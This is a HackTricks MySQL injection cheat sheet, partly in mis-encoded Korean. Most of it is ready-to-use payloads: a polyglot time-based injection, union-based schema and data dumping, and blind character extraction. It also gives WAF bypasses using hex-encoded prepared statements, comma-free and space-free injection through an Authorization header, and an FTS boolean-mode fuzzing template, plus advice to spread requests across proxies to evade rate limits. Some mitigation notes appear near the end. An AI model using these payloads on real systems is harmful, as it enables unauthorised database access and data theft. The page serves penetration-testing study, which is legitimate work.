MySQL injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ฃผ์„

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

ํฅ๋ฏธ๋กœ์šด ํ•จ์ˆ˜

Mysql ํ™•์ธ:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

์œ ์šฉํ•œ ํ•จ์ˆ˜

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

๋ชจ๋“  injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

ํ๋ฆ„

์ตœ์‹  ๋ฒ„์ „์˜ MySQL์—์„œ๋Š” โ€œinformation_schema.tablesโ€œ๋ฅผ โ€œmysql.innodb_table_statsโ€ ๋Œ€์‹  ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ๊ธฐ์–ตํ•˜์„ธ์š”. (์ด๋Š” WAFs๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

๊ฐ’ 1๊ฐœ๋งŒ

  • group_concat()
  • Limit X,1

Blind ํ•œ ๊ธ€์ž์”ฉ

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind ์ถ”๊ฐ€

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

์ปฌ๋Ÿผ ์ˆ˜ ๊ฐ์ง€

๊ฐ„๋‹จํ•œ ORDER ์‚ฌ์šฉ

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

์—ฌ๊ธฐ์—์„œ ๋‹ค์–‘ํ•œ ์˜ต์…˜์„ ์•Œ์•„๋ณด์„ธ์š” abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Executing queries through Prepared Statements

stacked queries๊ฐ€ ํ—ˆ์šฉ๋  ๊ฒฝ์šฐ, ์‹คํ–‰ํ•˜๋ ค๋Š” ์ฟผ๋ฆฌ์˜ hex representation์„ ๋ณ€์ˆ˜์— ํ• ๋‹น(SET ์‚ฌ์šฉ)ํ•œ ๋’ค PREPARE์™€ EXECUTE MySQL ๋ฌธ์„ ์‚ฌ์šฉํ•ด ๊ฒฐ๊ตญ ๊ทธ ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•จ์œผ๋กœ์จ WAFs๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

์ž์„ธํ•œ ๋‚ด์šฉ์€ this blog post๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

Information_schema ๋Œ€์ฒด ๋ฐฉ๋ฒ•

๊ธฐ์–ตํ•˜์„ธ์š”: โ€œmodernโ€ ๋ฒ„์ „์˜ MySQL์—์„œ๋Š” _information_schema.tables_์„ mysql.innodb_table_stats ๋˜๋Š” sys.x$schema_flattened_keys ๋˜๋Š” sys.schema_table_statistics๋กœ ๋Œ€์ฒดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

MySQLinjection ์‰ผํ‘œ ์—†์ด

์‰ผํ‘œ๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ  2๊ฐœ์˜ ์ปฌ๋Ÿผ ์„ ํƒ (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

์ปฌ๋Ÿผ ์ด๋ฆ„ ์—†์ด ๊ฐ’ ๊ฐ€์ ธ์˜ค๊ธฐ

ํ…Œ์ด๋ธ” ์ด๋ฆ„์€ ์•Œ๊ณ  ์žˆ์ง€๋งŒ ํ…Œ์ด๋ธ” ์•ˆ์˜ ์ปฌ๋Ÿผ ์ด๋ฆ„์„ ๋ชจ๋ฅด๋Š” ๊ฒฝ์šฐ, ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰ํ•ด์„œ ์ปฌ๋Ÿผ์ด ๋ช‡ ๊ฐœ์ธ์ง€ ์•Œ์•„๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

๋‘ ๊ฐœ์˜ ์—ด์ด ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๊ณ (์ฒซ ๋ฒˆ์งธ๊ฐ€ ID์ด๊ณ  ๋‹ค๋ฅธ ํ•˜๋‚˜๊ฐ€ flag์ธ ๊ฒฝ์šฐ), flag์˜ ๋‚ด์šฉ์„ ๋ฌธ์ž ํ•˜๋‚˜์”ฉ bruteforceํ•˜์—ฌ ์‹œ๋„ํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

์ถ”๊ฐ€ ์ •๋ณด: https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

SPACES ์—†์ด Injection (/**/ comment trick)

์ผ๋ถ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ sscanf("%128s", buf)์™€ ๊ฐ™์€ ํ•จ์ˆ˜๋กœ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์ •์ œํ•˜๊ฑฐ๋‚˜ ํŒŒ์‹ฑํ•˜๋Š”๋ฐ, ์ด ํ•จ์ˆ˜๋“ค์€ ์ฒซ ๋ฒˆ์งธ ๊ณต๋ฐฑ ๋ฌธ์ž์—์„œ ๋ฉˆ์ถฅ๋‹ˆ๋‹ค. MySQL์ด ์‹œํ€€์Šค /**/๋ฅผ ์ฃผ์„ ๊ทธ๋ฆฌ๊ณ  ๊ณต๋ฐฑ์œผ๋กœ ์ฒ˜๋ฆฌํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ์ด ํ‘œ๊ธฐ๋ฅผ ์ด์šฉํ•˜๋ฉด ์ฟผ๋ฆฌ ๋ฌธ๋ฒ•์„ ์œ ํšจํ•˜๊ฒŒ ์œ ์ง€ํ•˜๋ฉด์„œ ํŽ˜์ด๋กœ๋“œ์˜ ์ผ๋ฐ˜ ๊ณต๋ฐฑ์„ ์™„์ „ํžˆ ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ: time-based blind injection์œผ๋กœ space filter๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•:

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ๋ฐ›๋Š” ํ˜•ํƒœ๋Š”:

' OR SLEEP(5)-- -'

This is especially handy when:

  • ์ œ์–ด ๊ฐ€๋Šฅํ•œ ๋ฒ„ํผ์˜ ํฌ๊ธฐ๊ฐ€ ์ œํ•œ๋˜์–ด ์žˆ์„ ๋•Œ(์˜ˆ: %128s) ๊ณต๋ฐฑ์ด ์ž…๋ ฅ์„ ์ค‘๊ฐ„์— ์ข…๋ฃŒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • HTTP headers ๋˜๋Š” ์ผ๋ฐ˜ ๊ณต๋ฐฑ์ด ์ œ๊ฑฐ๋˜๊ฑฐ๋‚˜ ๊ตฌ๋ถ„์ž๋กœ ์‚ฌ์šฉ๋˜๋Š” ๋‹ค๋ฅธ ํ•„๋“œ๋ฅผ ํ†ตํ•ด ์ฃผ์ž…ํ•  ๋•Œ.
  • ์™„์ „ํ•œ pre-auth RCE๋ฅผ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด INTO OUTFILE primitives์™€ ๊ฒฐํ•ฉ๋  ๋•Œ (MySQL File RCE ์„น์…˜ ์ฐธ์กฐ).

MySQL ๊ธฐ๋ก

MySQL์—์„œ ํ…Œ์ด๋ธ”์„ ์ฝ๋Š” ๋™์•ˆ ์ˆ˜ํ–‰๋œ ๋‹ค๋ฅธ ์‹คํ–‰๋“ค์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: sys.x$statement_analysis

๋ฒ„์ „ ๋Œ€์•ˆs

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

์ด๊ฒƒ์€ ์ „ํ˜•์ ์ธ SQL injection์ด ์•„๋‹™๋‹ˆ๋‹ค. ๊ฐœ๋ฐœ์ž๊ฐ€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ MATCH(col) AGAINST('...' IN BOOLEAN MODE)์— ์ „๋‹ฌํ•  ๋•Œ, MySQL์€ ์ธ์šฉ๋œ ๋ฌธ์ž์—ด ๋‚ด๋ถ€์—์„œ ๋‹ค์–‘ํ•œ Boolean ๊ฒ€์ƒ‰ ์—ฐ์‚ฐ์ž๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋งŽ์€ WAF/SAST ๊ทœ์น™์€ ๋”ฐ์˜ดํ‘œ๋ฅผ ๊นจ๋Š” ๊ฒƒ์—๋งŒ ์ง‘์ค‘ํ•ด ์ด ์ ์„ ๋†“์นฉ๋‹ˆ๋‹ค.

Key points:

  • Operators are evaluated inside the quotes: + (๋ฐ˜๋“œ์‹œ ํฌํ•จ), - (ํฌํ•จํ•˜์ง€ ์•Š์•„์•ผ ํ•จ), * (ํ›„ํ–‰ ์™€์ผ๋“œ์นด๋“œ), "..." (์ •ํ™•ํ•œ ๋ฌธ๊ตฌ), () (๊ทธ๋ฃนํ™”), </>/~ (๊ฐ€์ค‘์น˜). See MySQL docs.
  • This allows presence/absence and prefix tests without breaking out of the string literal, e.g. AGAINST('+admin*' IN BOOLEAN MODE) to check for any term starting with admin.
  • Useful to build oracles such as โ€œdoes any row contain a term with prefix X?โ€ and to enumerate hidden strings via prefix expansion.

Example query built by the backend:

SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด result set์ด ๋น„์—ˆ๋Š”์ง€์— ๋”ฐ๋ผ ๋‹ค๋ฅธ ์‘๋‹ต(์˜ˆ: redirect vs. error message)์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค๋ฉด, ๊ทธ ๋™์ž‘์€ Boolean oracle์ด ๋˜์–ด ์ˆจ๊ฒจ์ง„/์‚ญ์ œ๋œ ์ œ๋ชฉ๊ณผ ๊ฐ™์€ ๋น„๊ณต๊ฐœ ๋ฐ์ดํ„ฐ๋ฅผ ์—ด๊ฑฐํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: ๋ฐฑ์—”๋“œ๊ฐ€ ๋‹จ์–ด๋‹น 1โ€“2๊ฐœ์˜ ๊ผฌ๋ฆฌ ๋ฌธ์ž๋ฅผ (\b.{1,2})(\s)|(\b.{1,2}$) ๊ฐ™์€ ์ •๊ทœ์‹์œผ๋กœ ์ž˜๋ผ๋‚ธ๋‹ค๋ฉด, prefix*ZZ๋ฅผ ์ œ์ถœํ•˜๋ผ. cleaner๋Š” ZZ๋งŒ ์ž˜๋ผ๋‚ด๊ณ  *๋Š” ๋‚จ๊ฒจ๋‘๋ฏ€๋กœ prefix*๊ฐ€ ์œ ์ง€๋œ๋‹ค.
  • Early-break stripping: ์ฝ”๋“œ๊ฐ€ ๋‹จ์–ด๋ณ„๋กœ ์—ฐ์‚ฐ์ž๋ฅผ ์ œ๊ฑฐํ•˜์ง€๋งŒ ๊ธธ์ด โ‰ฅ min length์ธ ํ† ํฐ์„ ์ฐพ์œผ๋ฉด ์ฒ˜๋ฆฌ๋ฅผ ์ค‘๋‹จํ•œ๋‹ค๋ฉด, ๋‘ ๊ฐœ์˜ ํ† ํฐ์„ ๋ณด๋‚ธ๋‹ค: ์ฒซ ๋ฒˆ์งธ๋Š” ๊ธธ์ด ์ž„๊ณ„๊ฐ’์„ ์ถฉ์กฑํ•˜๋Š” ์ •ํฌ ํ† ํฐ์ด๊ณ , ๋‘ ๋ฒˆ์งธ๊ฐ€ operator payload๋ฅผ ๋‹ด๋Š”๋‹ค. For example: &&&&& +jack*ZZ โ†’ after cleaning: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26๋Š” &, %2B๋Š” +์ž…๋‹ˆ๋‹ค. ๋์˜ xD (๋˜๋Š” ์•„๋ฌด ๋‘ ๋ฌธ์ž)๋Š” ํด๋ฆฌ๋„ˆ์— ์˜ํ•ด ์ž˜๋ ค {FUZZ}*๊ฐ€ ๋ณด์กด๋ฉ๋‹ˆ๋‹ค.
  • ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋ฅผ โ€œmatchโ€๋กœ ์ฒ˜๋ฆฌํ•˜๊ณ  ์—๋Ÿฌ ํŽ˜์ด์ง€๋ฅผ โ€œno matchโ€๋กœ ์ฒ˜๋ฆฌํ•˜์„ธ์š”. ์˜ค๋ผํด์„ ๊ด€์ฐฐ ๊ฐ€๋Šฅํ•˜๊ฒŒ ์œ ์ง€ํ•˜๋ ค๋ฉด ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋ฅผ ์ž๋™์œผ๋กœ ๋”ฐ๋ผ๊ฐ€์ง€ ๋งˆ์„ธ์š”.

์—ด๊ฑฐ ์ž‘์—… ํ๋ฆ„:

  1. ์ฒซ ๊ธ€์ž ๋งค์น˜๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด {FUZZ} = aโ€ฆz,0โ€ฆ9๋กœ ์‹œ์ž‘ํ•˜์—ฌ +a*, +b*, โ€ฆ ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  2. ๊ฐ ๊ธ์ •์  ์ ‘๋‘์‚ฌ๋งˆ๋‹ค ๋ถ„๊ธฐ: a* โ†’ aa* / ab* / โ€ฆ. ์ „์ฒด ๋ฌธ์ž์—ด์„ ๋ณต๊ตฌํ•  ๋•Œ๊นŒ์ง€ ๋ฐ˜๋ณตํ•ฉ๋‹ˆ๋‹ค.
  3. ์•ฑ์ด ํ”Œ๋Ÿฌ๋“œ ์ œ์–ด๋ฅผ ์ ์šฉํ•˜๋ฉด ์š”์ฒญ์„ ๋ถ„์‚ฐํ•˜์„ธ์š” (ํ”„๋ก์‹œ, ๋‹ค์ค‘ ๊ณ„์ • ๋“ฑ).

์™œ ์ œ๋ชฉ์€ ์ข…์ข… leakํ•˜๋Š”๋ฐ ๋ณธ๋ฌธ์€ ๊ทธ๋ ‡์ง€ ์•Š์€๊ฐ€:

  • ์ผ๋ถ€ ์•ฑ์€ ์ œ๋ชฉ/์ฃผ์ œ์— ๋Œ€ํ•œ ์˜ˆ๋น„ MATCH ์ดํ›„์—๋งŒ ๊ฐ€์‹œ์„ฑ ๊ฒ€์‚ฌ๋ฅผ ์ ์šฉํ•ฉ๋‹ˆ๋‹ค. ํ•„ํ„ฐ๋ง ์ „์— ์ œ์–ด ํ๋ฆ„์ด โ€œany results?โ€ ๊ฒฐ๊ณผ์— ์˜์กดํ•˜๋ฉด, ์กด์žฌ์„ฑ leaks๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์™„ํ™” ๋ฐฉ์•ˆ:

  • Boolean logic์ด ํ•„์š” ์—†๋‹ค๋ฉด IN NATURAL LANGUAGE MODE๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๋ฆฌํ„ฐ๋Ÿด๋กœ ์ทจ๊ธ‰ํ•˜์„ธ์š” (์ด์Šค์ผ€์ดํ”„/๋”ฐ์˜ดํ‘œ๋กœ ๋‹ค๋ฅธ ๋ชจ๋“œ์˜ ์—ฐ์‚ฐ์ž๋ฅผ ๋น„ํ™œ์„ฑํ™”).
  • Boolean mode๊ฐ€ ํ•„์š”ํ•˜๋‹ค๋ฉด ํ† ํฐํ™” ํ›„(์ค‘๊ฐ„ ์ค‘๋‹จ ์—†์ด) ๋ชจ๋“  ํ† ํฐ์— ๋Œ€ํ•ด ๋ชจ๋“  Boolean ์—ฐ์‚ฐ์ž (+ - * " ( ) < > ~)๋ฅผ ์ œ๊ฑฐํ•˜๊ฑฐ๋‚˜ ๋ฌด๋ ฅํ™”ํ•˜์„ธ์š”.
  • MATCH ์ด์ „์— ๊ฐ€์‹œ์„ฑ/๊ถŒํ•œ ํ•„ํ„ฐ๋ฅผ ์ ์šฉํ•˜๊ฑฐ๋‚˜, ๊ฒฐ๊ณผ ์ง‘ํ•ฉ์ด ๋น„์–ด์žˆ์„ ๋•Œ์™€ ๋น„์–ด์žˆ์ง€ ์•Š์„ ๋•Œ์˜ ์‘๋‹ต(ํƒ€์ด๋ฐ/์ƒํƒœ)์„ ํ†ต์ผํ•˜์„ธ์š”.
  • ๋‹ค๋ฅธ DBMS์˜ ์œ ์‚ฌ ๊ธฐ๋Šฅ์„ ๊ฒ€ํ† ํ•˜์„ธ์š”: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2์˜ CONTAINS๋„ ๋”ฐ์˜ดํ‘œ๋กœ ๊ฐ์‹ผ ์ธ์ˆ˜ ์•ˆ์˜ ์—ฐ์‚ฐ์ž๋ฅผ ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ :

  • Prepared statements๋Š” REGEXP๋‚˜ ๊ฒ€์ƒ‰ ์—ฐ์‚ฐ์ž์˜ ์˜๋ฏธ์  ๋‚จ์šฉ์œผ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. .* ๊ฐ™์€ ์ž…๋ ฅ์€ ๋”ฐ์˜ดํ‘œ๋กœ ๊ฐ์‹ผ REGEXP '.*' ์•ˆ์— ์žˆ์–ด๋„ ์—ฌ์ „ํžˆ ๊ด€๋Œ€ํ•œ ์ •๊ทœ์‹์œผ๋กœ ๋‚จ์Šต๋‹ˆ๋‹ค. ํ—ˆ์šฉ ๋ชฉ๋ก(allow-lists)์ด๋‚˜ ๋ช…์‹œ์  ๊ฐ€๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

Other MYSQL injection guides

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ